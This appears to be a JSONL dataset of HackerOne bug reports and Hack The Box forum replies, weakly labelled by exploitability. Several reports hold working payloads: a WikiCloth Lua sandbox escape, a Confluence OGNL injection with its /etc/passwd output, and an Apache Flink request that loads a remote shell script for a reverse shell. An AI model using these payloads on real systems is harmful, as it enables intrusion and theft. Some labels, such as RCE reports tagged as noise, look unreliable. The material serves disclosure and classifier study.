-{"id": "9bb0b1d18c029c242dd2", "text": "[OS Command Injection] RCE via WikiCloth markdown rendering if the `rubyluabridge` gem is installed\n\n### Summary\n\nOne of the supported wiki formats is `mediawiki` which is rendered by `WikiCloth` via GitLab Markup:\n\nhttps://gitlab.com/gitlab-org/gitlab-markup/-/blob/v1.7.1/lib/github/markups.rb#L24-28\n```ruby\nmarkup(:wikicloth, /mediawiki|wiki/) do |content|\n  wikicloth = WikiCloth::WikiCloth.new(:data => content)\n  WikiCloth::WikiBuffer::HTMLElement::ESCAPED_TAGS << 'tt'\n  wikicloth.to_html(:noedit => true)\nend\n```\n\nOne of the extensions that `WikiCloth` has is for lua (eg [lua.wiki](https://github.com/nricciar/wikicloth/blob/v0.8.1/sample_documents/lua.wiki)), which allows lua code to be run and the results rendered inside of the page by using either `{{#luaexpr:lua expression}}` or `<lua>lua code here</lua>`. This extension is enabled if the `rubyluabridge` gem can be required:\n\nhttps://github.com/nricciar/wikicloth/blob/v0.8.1/lib/wikicloth/extensions/lua.rb#L1-L6\n```ruby\nbegin\n  require 'rubyluabridge'\n  DISABLE_LUA = false\nrescue LoadError\n  DISABLE_LUA = true\nend\n```\n\nThe lua code is meant to be executed in a sandbox, but looking at the [lua wiki on sandboxing](http://lua-users.org/wiki/SandBoxes#:~:text=loadstring%20--%20UNSAFE.%20See%20load.%20Even%20this%3A) one of the things mentioned is:\n\n> loadstring -- UNSAFE. See load. Even this isn't safe. For example, `pcall(safeloadstring, some_script)` will load some_script in global environment. --SergeyRozhenko\n\n```lua\nlocal oldloadstring = loadstring\nlocal function safeloadstring(s, chunkname)\n  local f, message = oldloadstring(s, chunkname)\n  if not f then\n    return f, message\n  end\n  setfenv(f, getfenv(2))\n  return f\nend\n```\n\nThis is the exact code that `WikiCloth` is using in their wrapper https://github.com/nricciar/wikicloth/blob/master/lib/wikicloth/extensions/lua/luawrapper.lua#L83-L92, so the provided bypass can be used to execute arbitrary lua:\n\n```\n<lua>\n_,execute = pcall(loadstring,\n    [[\n        local command = ...;\n        local handle = io.popen(command)\n        local result = handle:read(\"*a\")\n        handle:close()\n        return result;\n    ]]\n);\n\nprint(execute('id'));\nexecute('echo vakzz > /tmp/ggg');\n</lua>\n```\n\nLuckily it's pretty unlikely that the `rubyluabridge` gem will be installed. There is a current ubuntu package https://packages.ubuntu.com/bionic/ruby/ruby-luabridge that can just be installed with apt, or a rubygem version at https://rubygems.org/gems/Tamar. Potentially another gem could start depending on it, or if gitlab is [installed from source](https://docs.gitlab.com/ee/install/installation.html) and the ruby environment is shared, the apt version could be present.\n\n### Steps to reproduce\n\n1. Install the `rubyluabridge` gem\n  * If using the omnibus edition then you will need to do something like the following to get it in the correct spot:\n```\ncurl -sSL https://get.rvm.io | bash\nsource /etc/profile.d/rvm.sh\nrvm install 2.7.4\n\ngit clone https://github.com/neomantra/rubyluabridge\nsudo apt install liblua5.1-0-dev libboost-dev\n./build/extconf_ubuntu.sh\nmake\n\nsudo cp rubyluabridge.so /opt/gitlab/embedded/lib/ruby/2.7.0/rubyluabridge.so\n```\n2. Create a new project and add a wiki page\n3. Clone the wiki (clone url should end in `.wiki.git`)\n4. Create a file `hello.wiki` with the following contents:\n```\n<lua>\n_,execute = pcall(loadstring,\n    [[\n        local command = ...;\n        local handle = io.popen(command)\n        local result = handle:read(\"*a\")\n        handle:close()\n        return result;\n    ]]\n);\n\nprint(execute('id'));\nexecute('echo vakzz > /tmp/ggg');\n</lua>\n```\n5. Add, commit and push the file\n6. Visit the new wiki page on gitlab, you should see the output of the `id` command\n7. See that the file `/tmp/ggg` has been created\n\n{F1515535}\n\n### Impact\nIf the `rubyluabridge` gem has been manually installed, or if another gem starts depending on it, a user with the ability to add wiki pages can run arbitrary commands on the gitlab server \n\n### What is the current *bug* behavior?\nThe lua sandbox can be escaped using code from the o", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c5641267100399f34d8", "text": "[Insecure Temporary File] Broken Domain Link Takeover from kubernetes.io docs\n\nReport Submission Form\n\n## Summary:\nKubernetes docs have Spanish translation available. One of the pages of the Portuguese doc has an external reference to a  website .\nThe website is not registered and can be purchased and used to host malicious content.\n\n## Kubernetes Version:\nNA\n\n## Component Version:\nNA\n## Steps To Reproduce:\n\n1. Go to https://kubernetes.io/pt-br/docs/concepts/cluster-administration/addons/\n2. Search for `contiv`\n3. Click on 'Contiv`\nYou will be redirected to https://contiv.io/ which does not exist...\n\n## Supporting Material/References:\n1. https://contiv.io/\n2.  https://in.godaddy.com/domainsearch/find?checkAvail=1&domainToCheck=contiv.io\n\n## Impact\n\nAs an attacker, I can host malicious content on the website.\nI can also, host malicious sdk or softwares, which user will think is part of the deployment docs as its referred in kubernetes.io, this can lead to RCE for users who are referring to this doc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "38dd1275c2ddac661db1", "text": "Thanks Proper ffuf flags were something that I was missing for long.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-07-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e53d063b645ae1972a02", "text": "Thank you @onthesauce for awesome help. You are nothing short of awesomeness. My two cents to whoever follows this post in search of hints to solve is that try every combinations and dont hesitate to add up your reply for more help. If you happen to use chrome to solve this assessment, solution may not show up on the page even after you had already solved it. As for me chrome was not showing any message from the server like ‘Access Denied’ or ‘File copy errors’ and so on. However, they were visible when I inspected it in the code inspector, went on to network tab and checked in the preview tab. It may be visible to you if you are using mozilla anyways.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9857bd30d9a4789885d1", "text": "[Unknown] Report Regarding Security Vulnerability\n\nHello Team, \n\ni want to report a text injection and a misconfiguration of the 404 page \n\nthe bug exists at :\n\nhttps://www.torproject.org/test/%2f../It%20has%20been%20changed%20by%20a%20new%20one%20https://www.Attacker.com%20so%20go%20to%20the%20new%20one%20since%20this%20one\n\nas you can see attacker text is included\n\"It has been changed by a new one https://www.attacker.com so go to the new one since this one was not found on this server.\"\n\n(Screenshot Attached)\n\nFix : just use a 404 page that don't include attacker text just as :a 404 page that don't include any external text\nhope you fix it\n\nthanks", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e4d8f61c9c40d18efd3f", "text": "[Insecure Direct Object Reference (IDOR)] Possibility to delete files attached to deck cards of other users\n\nHi everyone,\n\nHope you are well ! \n\nI come to report here an IDOR vulnerability on the Deck application of Nextcloud, allowing to delete any attached file(s) on any cards. \n\nNextcloud deck app version : latest stable `1.8.0`\n\n## Steps To Reproduce:\n\nThe Nextcloud Deck application now offers the ability to add an attachment to its own card.\nIf the user deletes the attached attachment, the following POST request is made : \n\n```\nDELETE /apps/deck/cards/63/attachment/file:116 HTTP/2\nHost: redacted\nCookie: oc_sessionPassphrase=1icX1AnixyJWysU9xZCwhaEr%2Bb8TM%2FNvgck%2F1nv216h1fLefCLcWN5Vt%2BgO3%2BXH3wj4Xpo0GW4mLDt52A32%2FVZb4xUZKZq0kgpbIC1InAY8bT1UF4Ef%2BFD7ciOexHI1X; __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; oc0xwy77immd=rm2tmgi1rtb2vs9mu7pvcnf4t8; nc_username=Test2; nc_token=6xcZzamP8jrozO48GlKsCTLiIouKgz0P; nc_session_id=rm2tmgi1rtb2vs9mu7pvcnf4t8\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/json, text/plain, */*\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nRequesttoken: redacted\nOrigin: redacted\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nX-Pwnfox-Color: green\nTe: trailers\n```\n\nThe `file` parameter does not offer any protection, and we can come and enter the IDs of files that do not belong to us. It is important to leave the ID of your card (63 here for me). You can then change the file ID at will, even if it is attached to another card with a different ID.\n\nSee here the response from the server, after I deleted the file with ID `117`. This file with ID `117` is attached to another user, with its own unshared personal card.\n\n```\nHTTP/2 200 OK\nServer: nginx\nDate: Sun, 30 Oct 2022 16:55:09 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 171\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nPragma: no-cache\nCache-Control: no-cache, no-store, must-revalidate\nX-Request-Id: xRvBeA7No94R5OvXW2Vt\nContent-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'\nFeature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'\nX-Robots-Tag: none\nReferrer-Policy: no-referrer\nX-Content-Type-Options: nosniff\nX-Xss-Protection: 1; mode=block\nX-Robots-Tag: none\nX-Download-Options: noopen\nX-Permitted-Cross-Domain-Policies: none\nStrict-Transport-Security: max-age=31536000; includeSubDomains;\n\n{\"cardId\":63,\"type\":\"file\",\"data\":\"poteau-signalisation-1000mm-o-80mm-orange.jpg\",\"lastModified\":0,\"createdAt\":0,\"createdBy\":null,\"deletedAt\":0,\"extendedData\":[],\"id\":117}\n```\n\nWe are here on an IDOR vulnerability, allowing any authenticated user on a Nextcloud server to delete all files attached to all cards available on the server, including cards to which we do not have access.\n\n## Impact\n\nFrom [OWASP - Broken Access Control](https://owasp.org/www-community/Broken_Access_Control) :\n\n> Many of these flawed access control schemes are not difficult to discover and exploit. Frequently, all that is required is to craft a request for functions or content that should not be granted. Once a flaw is discovered, the consequences of a flawed access control scheme can be devastating. In addition to viewing unauthorized content, an attacker might be able to change or delete content, perform unauthorized functions, or even take over site administration.\n\nNote here that file IDs are incremental, we can easily use a tool like Burp Intruder to fuzz our malicious request and delete file IDs ranging from 1 to 10000 for example, to be sure to impact all users of the server.\n\nLooking forward to exchanging.\n\nRegards,\nSupr4s", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "760d09c6e206ba727247", "text": "[Use of Default Credentials] Default Credentials on Kinetic Core System Console - https://█████/kinetic/app/\n\n**Description:**\nThe Kinetic Core System Console application has weak credentials of **admin/admin**.\n\n## References\n[https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials)\n\n## Impact\n\nPotential attackers could identify technologies being used underneath. This would allow for them to find potential exploits.\nIn addition, the application is disclosing server logs, users in the database with their emails and names, system activity, and much more.\nCheck the uploaded image for additional information.\nThis information should not be available. \nWith addition of sensitive data being shown, this is a serious issue.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\nKinetic Core System Console - 2.1.0-SNAPSHOT\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Browse to the [Login page](https://████/kinetic/app/).\n2. Login using credentials of **admin/admin**.\n3. You should now be logged into an admin account.\n\n## Suggested Mitigation/Remediation Actions\nChange admin's password to something more secure.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "104db6c580545893cf44", "text": "[Server-Side Request Forgery (SSRF)] Blind SSRF in FogBugz project import\n\n### Steps to reproduce\n\n1. Run GitLab `docker run --detach --hostname gitlab.example.com --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab gitlab/gitlab-ce:latest`\n2. Connect to the GitLab Docker container: `docker exec -it gitlab /bin/bash`\n3. Install netcat: `apt update && apt install -y netcat`\n4. Run server in container: `nc -llvp 12345`\n5. Use http://localhost:12345 as FogBugz URL  (see screenshot) \n{F602736}\n\n#### Results of GitLab environment info\n\n```\nroot@gitlab:/# gitlab-rake gitlab:env:info\n\nSystem information\nSystem:    \nCurrent User:  git\nUsing RVM:  no\nRuby Version:  2.6.3p62\nGem Version:  2.7.9\nBundler Version:1.17.3\nRake Version:  12.3.2\nRedis Version:  3.2.12\nGit Version:  2.22.0\nSidekiq Version:5.2.7\nGo Version:  unknown\n\nGitLab information\nVersion:  12.3.5\nRevision:  2417d5becc7\nDirectory:  /opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:  PostgreSQL\nDB Version:  10.9\nURL:    http://gitlab.example.com\nHTTP Clone URL:  http://gitlab.example.com/some-group/some-project.git\nSSH Clone URL:  git@gitlab.example.com:some-group/some-project.git\nUsing LDAP:  no\nUsing Omniauth:  yes\nOmniauth Providers: \n\nGitLab Shell\nVersion:  10.0.0\nRepository storage paths:\n- default:   /var/opt/gitlab/git-data/repositories\nGitLab Shell path:    /opt/gitlab/embedded/service/gitlab-shell\nGit:    /opt/gitlab/embedded/bin/git\n```\n\n## Impact\n\nThe vulnerability allows an attacker to make arbitrary requests inside a GitLab instance's network.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df2337248408395b1c7a", "text": "[OS Command Injection] RCE on ███████ [CVE-2021-26084]\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0\n\n## Impact\n\n-   An unauthenticated, 3rd-party attacker or adversary can execute remote code\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\nCVE-2021-26084\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nPOST\n(command cat /etc/passwd)\n```\nPOST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1\nHost: ███\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 915\n\nqueryString=aaaaaaaa\\u0027%2b{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var+isWin+%3d+java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022)%3b+var+cmd+%3d+new+java.lang.String(\\u0022cat /etc/passwd\\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\\u0022cmd.exe\\u0022,+\\u0022/c\\u0022,+cmd)%3b+}+else{p.command(\\u0022bash\\u0022,+\\u0022-c\\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\\u0022\\u0022%3b+var+output+%3d+\\u0022\\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\\u0027)}%2b\\u0027\n\n```\n\nYou will see the output of the ifconfig command\n\nOUTPUT\n```\n      type=\"hidden\"\n          name=\"queryString\"            value=\"aaaaaaaa[root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nconfluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash\n]\"             />\n        <input\n```\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-26084"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ec27b4c78cfd2e6b8824", "text": "[Open Redirect] open redirect to a remote website which can phish users\n\nBy Adding some extra headers in the request I noticed that  the user is redirected to a remote website. This can lead to stealing a user credentials (phishing) on a remote server.\n\nThese headers can be added either using a MITM attack or by chaining with another vulnerability such as request smuggling, header injection more commonly abusing a reverse proxy that sits in front of the website.\n\nps:crayons\n\n## Impact\n\nThis can lead to stealing a user credentials (phishing) on a remote server or planting malware on the user's computer.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8caf1b6da9d6f5a51f31", "text": "[Insecure Direct Object Reference (IDOR)] IDOR Lead  To VIEW & DELETE & Create api_key [HtUS]\n\n#### Hi Dod & Hackerone Team i hope you are Doing Well Today :)\n\n\n\n#### Explaining:\n\n* i found That a User With a Member Permission in a Organization Can Create & View & DELETE API_KEYS\n\n#### Step To Reproduce: \n\n1_ First Create 2 Accounts From Here `https://███`\n\n2_ Log in With The Victim User and Create New Group From Here `https://███/organization`\n\n3_ After Creating The org, Go Here To invite New Users `https://█████████/organization/ORG-UUID/members`\n\n4_ invite The Attacker User With The Role Member\n\n5_ Now add Some Private Keys Here `https://██████████/organization/ORG-UUID/apiKeys` , and save The Req as Create_Req \n\n6_ Switch Back To The Attacker User and Try To Access The Endpoint `https://██████/organization/ORG-UUID/apiKeys` , you will Notice You have Access To Read The apikey Now Copy The UUID of The apikey & Put it Here \n\n7_  https://██████████/organization/ORG-UUID/apiKeys/API-UUID , make a DELETE req\n\n8_ Now Copy The Cookies of The attacker & replace it with The Create_Req in Step `5`, \n\n*  Now you can Create & View & DELET\n\n#### Poc_Video:\n█████\n\n## Impact\n\nIDOR Lead  To VIEW & DELETE & Create Private api_key", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aa3bec506d4d0720827b", "text": "[Command Injection - Generic] Apache Flink RCE via GET jar/plan API Endpoint\n\n## Summary:\n\nAiven has not restricted access to the GET `jars/{jar_id}/plan` API. This endpoint can be used to load java class files with the specified arguments that are in the java classpath on the server. This can be abused to gain RCE on the Apache Flink Server.\n\n## Steps To Reproduce:\n\nThe video below shows how to setup the Apache Flink instance and run the PoC. Feel free to use my VPS which will make triaging somewhat easier (`ssh ████████`, password: `██████`):\n\n█████████\n\n\n  1. Login to my aiven account: `████`, password: `██████`\n  1. Run the SQL job as demonstrated in the video\n  1. Open the Flink Web UI and verify that there is a new job in the jobs panel.\n  1. Setup netcat reverse shell listener on the VPS: `nc -n -lvp 8888`\n  1. Update the poc.py variables to match your instance, if you are not using my Apache Flink instance\n  1. Run the poc: `python3 poc.py`\n  1. Reverse shell connection should pop up\n 1. After connection has been closed, the Apache Flink will crash, so the Aiven service daemon will  have to restart it. Because of this, you have to run new SQL job after every time you run the poc script\n\n# API Request\n\nHere's the HTTP API request that exploits the issue:\n\n```http\nGET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load(\"https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js\")&parallelism=1 HTTP/1.1\nHost: ████\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nAuthorization: Basic █████\nsec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\", \"Google Chrome\";v=\"96\"\nAccept: application/json, text/plain, */*\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nsec-ch-ua-platform: \"Windows\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Language: en-US,en;q=0.9,fi;q=0.8\n```\n\n## Impact\n\nAttacker can execute commands on the server and use this access to potentially pivot into other resources in the network.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "77f63c32c7943a507de9", "text": "[Server-Side Request Forgery (SSRF)] [CVE-2022-35949]: undici.request vulnerable to SSRF using absolute / protocol-relative URL on pathname\n\nGHSA: https://github.com/nodejs/undici/security/advisories/GHSA-8qr4-xgw6-wmr3\n\nReport: https://hackerone.com/reports/1642017\n\n## Impact\n\nSSRF", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-35949"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "61f511cac4d29f79629b", "text": "[Privilege Escalation] Subdomains takeover of  register.acronis.com, promo.acronis.com, info.acronis.com and promosandbox.acronis.com\n\n## Summary:\nThe Subdomains  https://register.acronis.com,  https://promo.acronis.com, https://info.acronis.com  and  https://promosandbox.acronis.com \nare vulnerable to takeover due to unclaimed marketo CNAME records.  Anyone is able to own these  subdomains at the moment.\n\nThis vulnerability is called subdomain takeover. You can read more about it here:\n\n    https://blog.sweepatic.com/subdomain-takeover-principles/\n    https://hackerone.com/reports/32825\n    https://hackerone.com/reports/779442\t\n    https://hackerone.com/reports/175070\n\n## Steps To Reproduce:\n\n```\nnslookup register.acronis.com\nNon-authoritative answer:\nName: sjh.mktossl.com\nAddresses:104.17.74.206\n          104.17.72.206\n          104.17.70.206\n          104.17.73.206\n          104.17.71.206\nAliases:  register.acronis.com\n          acronis.mktoweb.com\n\nnslookup promo.acronis.com\nNon-authoritative answer:\nName:    sjh.mktossl.com\nAddresses:  104.17.71.206\n          104.17.70.206\n          104.17.74.206\n          104.17.72.206\n          104.17.73.206\nAliases:  promo.acronis.com\n          acronis.mktoweb.com\n\n```\n\nCNAMES entries to corresponding  domains are as:\n```\npromo.acronis.com                               acronis.mktoweb.com\npromosandbox.acronis.com                   acronissandbox2.mktoweb.com\nregister.acronis.com                            acronis.mktoweb.com\ninfo.acronis.com  \t                             mkto-h0084.com\n```\n\nAs  register.acronis.com and promo.acronis.com pointing to CNAME record as  acronis.mktoweb.com  and are aliases to acronis.mktoweb.com . http://acronis.mktoweb.com/ is giving 404, page not found  with message \"The requested URL was not found on this server\"  which can  be claimed by anyone now and would result in subdomain takeover.\n\nThe marketo document to Customize Your Landing Page URLs with a CNAME\nhttps://docs.marketo.com/display/public/DOCS/Customize+Your+Landing+Page+URLs+with+a+CNAME\n\n**As marketo is a paid service and offers account for marketing automation, I don't have a registered account. \nI wrote to Marketo technical support team and they claim the availability of listed domains as the listed domains are not in use or configured anymore.**\n\n## Supporting Material/References:\nPlease refer to attached screenshots.\n\n## Impact\n\nWith this, I can clearly see XSS impact in your case. Please have a look at your /v2/account request intercepted below:\nRequest:\n```\nPUT /v2/account HTTP/1.1\nHost: account.acronis.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nContent-Length: 702\nOrigin: https://register.acronis.com\nConnection: close\nReferer: https://account.acronis.com/\nCookie: _gcl_au=1.1.36144172.1601449011; _ga=GA1.2.1290766356.1601449012; _fbp=fb.1.1601449012432.633797135; _hjid=a7dd36be-ea53-40b1-b04e-c2a96f5ebc3c; optimizelyEndUserId=oeu1601449014822r0.42778295429069313; OptanonConsent=isIABGlobal=false&datestamp=Mon+Oct+26+2020+16%3A35%3A28+GMT%2B0530+(India+Standard+Time)&version=6.6.0&hosts=&consentId=07081eac-3ae3-443d-8451-79f5327d9351&interactionCount=1&landingPath=NotLandingPage&groups=C0001%3A1%2CC0004%3A1%2CC0003%3A1%2CC0002%3A1&AwaitingReconsent=false&geolocation=IN%3BHR; _mkto_trk=id:929-HVV-335&token:_mch-acronis.com-1601449020651-40834; OptanonAlertBoxClosed=2020-10-26T11:05:28.204Z; visid_incap_1638029=Bol4fqOiQTKxMXB55rfSHvSPlF8AAAAAQUIPAAAAAACe+MbhqMW1sJI4dpZBH6DI; _hjTLDTest=1; nlbi_1638029=ibxAVmtdEHzy/Y9u+BxnEAAAAAB308NLs7A3ARoQwyk4Cyrg; incap_ses_745_1638029=ddKxJtFthhy2IeNut8VWCvWPlF8AAAAACuwA/vpt+9dXQmj6hoxBWQ==; _gid=GA1.2.639811834.1603690260; _gac_UA-149943-47=1.1603691724.Cj0KCQjwxNT8BRD9ARIsAJ8S5xZC0_Hlxu0wgG7xA0-jU5eIi2BxoGFsRealW_kNcbHRyB_H8h3z-y0aAjFAEALw_wcB; AcronisSID.en=8a4d91ace2ecadca23dda91cdcb5abc5; AcronisUID.en=1438137573; _hjAbsoluteSessionInProgress", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c8319fc8bcce6cdd87d9", "text": "[Unknown] [Go]: Add Beego.Input.RequestBody source to Beego framework\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4c9c5899648f86fda981", "text": "[Misconfiguration] HackerOne Support System Doesn't Require Any Authentication May Lead Unauthorized Action\n\n**Summary:**\nI have selected the asset hackerone.com because of the support.hackerone.com is not an accepted bug for bounty but I believe this bug should be fixed by HackerOne with Freshdesk.\n\n**Description:**\nWe need to open a support ticket from this URL https://support.hackerone.com/support/tickets/new.\nTo open the ticket system doesn't need to require any authentication. If I have the email address & username of H1 account, I can request a support ticket for the H1 account.\nAfter requesting the support ticket, H1 support agent takes action accordingly.\nTo test I opened a support ticket 460752. I requested to delete my account even I didn't open any account on support.hackerone.com\nThe support agent already processed the request & forwarded it to the relevant department.\nThe design of the system is not secure. Anyone may open a support ticket for my account & if the agent processes it accordingly it's may lead an authorized action for my account. Hackers may also do spamming with this, and even H1 also may suspend the H1 account for that.\n\n### Steps To Reproduce\n\n1. Open this link https://support.hackerone.com/support/tickets/new\n2. Create a support ticket with the target account's email address & h1 username.\n\n**Recommendation**\nThe support system design should be changed. To open a support ticket user should register here https://support.hackerone.com then need to create the support ticket. Otherwise, there needs an email verification step with OTP to open a support request without login.\n\n## Impact\n\nThis bug may cause of Unauthorized Action by H1 support agent. Anyone may start spamming by using an H1 user's information.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3d73398517ab22e4dea9", "text": "[Phishing] text injection and content spoofing\n\nSUMMARY:\nTheir is a vulnerability  TEXT INJECTION and content inejction. in your website.\nAn attacker can use text injection vulnerability to present a customized message on the application that can phish users into believing that the .\n\nsteps:\n1: https://█████████.oneweb.net\n2: ADD payload !!!!!ATTENTION!!!!\"website under contruction, website moved to attacker.com.please visit WWW.EVIL.COM\"\" you can login EVIL.COM this is trusted website.\n\nWebsite Look Like\n\nAccess Error: 404 -- Not Found\nCan't locate document: /!!!!!ATTENTION!!!!\"website under contruction, website moved to attacker.com.please visit WWW.EVIL.COM\"\" you can login EVIL.COM this is trusted website.\n\n\nFIX:\nThe error page was changed to not echo user input.blocked user input\n\n## Impact\n\nAn attacker can use text injection vulnerability to present a customized message on the application that can phish users into believing that the message is legitimate", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
